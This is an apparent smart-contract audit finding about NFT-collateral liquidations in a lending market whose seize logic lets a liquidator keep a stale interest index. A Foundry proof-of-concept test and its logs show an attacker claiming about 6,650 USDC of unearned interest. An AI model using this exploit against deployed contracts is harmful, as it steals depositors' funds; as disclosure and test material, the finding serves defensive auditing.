HIGH severity: Liquidators seizing NFTs retain their interest index, allowing theft of funds from interest market. When an NFT is used as collateral for a liquidated loan and is seized as collateral, the `_seize()` function performs the following logic:
- call `accrueInterest()`, which updates the borrowIndex, supplyIndex, totalReserves, and accrualBlockNumber
- round up the number of tokens seized to the...

Vulnerable code:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./BaseTest.t.sol";

contract SeizeInterestTest is BaseTest {
    function testSeizeInterest() public {
        // attacker mints and redeems to lock in interest index
        _distributeAndMintBAYC(attacker, 99);
        vm.prank(attacker);
        baycCERC721.redeemUnderlying(1);

        // some other users enter the market (don't matter for POC but market must have some activity)
        _distributeAndMintBAYC(lender, 1);
        _distributeERC20(USDC, borrower, 100_000e6, address(imMarket));
        vm.startPrank(borrower);
        imMarket.mint(100_000e6);
        baycCERC721.borrow(1);
        vm.stopPrank();

        // 1 year passes
        vm.roll(block.number + blocksPerYear);
        baycCERC721.accrueInterest();

        // another user deposits some BAYC and borrows max to set up for liquidation
        // note that the attacker could do this themselves
        address user = makeAddr("user");
        _distributeAndMintBAYC(user, 2);
        _distributeAndMintBAYC(user, 3);
        vm.prank(user);
        imMarket.borrow(100_000e6);

        // at this point, nobody should be owed anything
        console2.log("Attacker Interest Owed: ", baycCERC721.supplyInterestCurrent(attacker));
        console2.log("User Interest Owed: ", baycCERC721.supplyInterestCurrent(user));

        // to allow for simple liquidation, let's increase price of USDC by 2%
        MockOracle usdcMoonOracle = new MockOracle(1.02e8);
        oracle.setAssetPriceFeed(CToken(address(imMarket)), address(usdcMoonOracle));

        // liquidate the user
        uint[] memory empty = new uint[](0);
        Comptroller.Liquidatables memory liqable = Comptroller.Liquidatables(address(imMarket), 50_000e6, empty);
        Comptroller.Liquidatables[] memory liqables = new Comptroller.Liquidatables[](1);
        liqables[0] = liqable;
        CTokenInterface[] memory collaterals = new CTokenInterface[](1);
        collaterals[0] = CTokenInterface(address(baycCERC721));
        _distributeERC20(USDC, attacker, 50_000e6, address(imMarket));
        vm.startPrank(attacker);
        comptroller.batchLiquidateBorrow(user, liqables, collaterals);
        console2.log("Attacker Interest Owed After Liq: ", baycCERC721.supplyInterestCurrent(attacker));

        // redeem the fake interest and cash it out for USDC
        uint balanceBeforeCashOut = IERC20(USDC).balanceOf(attacker);
        baycCERC721.redeemInterest(address(0));
        imMarket.redeem(imMarket.balanceOf(attacker));
        vm.stopPrank();
        console2.log("Attacker Final USDC Claimed: ", IERC20(USDC).balanceOf(attacker) - balanceBeforeCashOut);
    }

        function _distributeAndMintBAYC(address user, uint tokenId) internal {
        _distributeERC721(BAYC, user, tokenId, address(baycCERC721));
        uint[] memory baycIds = new uint[](1);
        baycIds[0] = tokenId;
        vm.prank(user);
        baycCERC721.mint(baycIds);
    }
}

Logs:
  Attacker Interest Owed:  0
  User Interest Owed:  0
  Attacker Interest Owed After Liq:  6650667536
  Attacker Final USDC Claimed:  6650667536